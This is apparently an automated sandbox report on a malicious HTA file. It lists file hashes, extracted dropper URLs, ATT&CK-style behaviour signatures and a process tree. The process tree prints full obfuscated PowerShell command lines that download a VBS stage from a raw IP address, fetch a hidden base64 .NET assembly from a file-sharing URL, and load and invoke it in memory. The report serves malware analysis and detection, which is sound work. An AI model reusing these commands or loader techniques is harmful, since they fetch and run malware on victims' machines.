Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-11-2024 09:42

General

  • Target

    seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta

  • Size

    207KB

  • MD5

    a9cf15c4f82d5c26f48f4a16dfe7bd1a

  • SHA1

    f7f0b669264b0a42b290cb5476e21ffa51eebf34

  • SHA256

    ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

  • SHA512

    5a5f5e6d18a776646328ce85e59f12424f1fb8c2612d1299db7bc378177be369bb6e391488b02d40a682c37857bcf0576d415534c5aba4796f46c39ea5b21d2c

  • SSDEEP

    48:4FhWsTR/F7gNqXfkz0eZC0yZhboWWCRzESPUJ0cv5p299DdCf+xuj9AoapwSI0t7:43F97AIyCRRtnu4fAf+cZAoaDna8YQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
      "C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2812
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sbtmydie.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2356
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC218.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC207.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2252
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:380
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2972
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2932

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESC218.tmp

    Filesize

    1KB

    MD5

    e347548b621699cae3388a80c6bbfc3b

    SHA1

    815ee0defba2a0fcc1b9fbeed2984b6fa5d799c9

    SHA256

    4e8b514e553ac348a393dd8289dd4eee096694d8ff4fc713d993208cdde95750

    SHA512

    653fd59a72278ed45e5ff9af06856ced59e30c251ea846dc256c63a08977d8e1bcf043287a2fed690d03960ec45dd5c0cd43a0b7cbfc150ad281f6ff2b5d9ade

  • C:\Users\Admin\AppData\Local\Temp\sbtmydie.dll

    Filesize

    3KB

    MD5

    8b21fefd34310a79ae7991917dac41f9

    SHA1

    383e225545073092995bd1989b4f334121a46271

    SHA256

    4ddb75095f13cd22778b15572946892d35950b643e599bd75600a9b03929ccc5

    SHA512

    8c6d050d5908d04684c4914edf99c4f70701ebb7c797ff262b6bb451985e67f6dbb6b802f49be081b0b85f4c6d0f61c43aae4f0b912875b5273dd861f781ead6

  • C:\Users\Admin\AppData\Local\Temp\sbtmydie.pdb

    Filesize

    7KB

    MD5

    91e3b021ebefdf218f2bacb0097b34da

    SHA1

    e0b58da1d8368edd295b3d9454b52a65681003b0

    SHA256

    04529076dd23f8d909be01a6870f86fd6f09f86e8b141cf7bebd4f1ca6c03326

    SHA512

    655f3cfd63cd5d19ccb0d1d77097a02c02db338e097dc743204087ea4059502a90e65f919db17bda08bfe17b2678682f5108ab91ed88c13202334b415250dbd8

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    a16748c5faca50d1c2be7d2352c0c280

    SHA1

    05ec767462ef6c5877d149c6a0616a4e22e26fe4

    SHA256

    707a511ee2019d8d86210ad34cc9da3ca208ad9c2baf5ad2c7174e8e57161ea5

    SHA512

    89c054d3fa68b28450fac2c3787ab9860f7b8142d117347c7df86203ab8fd6136438685049fdfd9514ba906cd7588b4b354de6df97daa2f2009985331b2b465a

  • C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS

    Filesize

    139KB

    MD5

    1860dcae987d5ed903d93a6cfc698eaf

    SHA1

    aaee36eb86bd7c80fd0ae9328bea5650f8c74d12

    SHA256

    d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3

    SHA512

    73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCC207.tmp

    Filesize

    652B

    MD5

    fc49e3199ba37d30b0091dd23fd34420

    SHA1

    d1f92958080d189db29850a01dc950106becb6c1

    SHA256

    0127bb70d4521025b9f94d2472eb603803c45aef53f0b0f2a7e9aea841c94b85

    SHA512

    7e059c423d1076e03622f145db3e3cbf470209e152359663345a0c6b447e5b429f90ca7cbbee6fd31056de61c0be63f133654885bf5a54b7573cd2ffdd2a0e3b

  • \??\c:\Users\Admin\AppData\Local\Temp\sbtmydie.0.cs

    Filesize

    496B

    MD5

    f8f40cf06d8b2ceb49d38fdf52e8ecc0

    SHA1

    1ff0676c6503f21f4899ba1cbc30351318403804

    SHA256

    39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2

    SHA512

    020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857

  • \??\c:\Users\Admin\AppData\Local\Temp\sbtmydie.cmdline

    Filesize

    309B

    MD5

    77048e1b58b9f37c3a9ae9f64f03da6f

    SHA1

    1590cce3f7a1a27fdf47a70256239660e7a1f4f7

    SHA256

    613b0f66bad49ef5ef576ff040585e7d0fb7cba3b887c62779e064fcff1d1412

    SHA512

    952fdad000b6a48fe85cd0f053428f196a14788bbfc8bd85bdb63a93218a0f54a9215b2a183e3a296567ce722dba844c2bf7a040e2be330bee8d44f4dcd386bc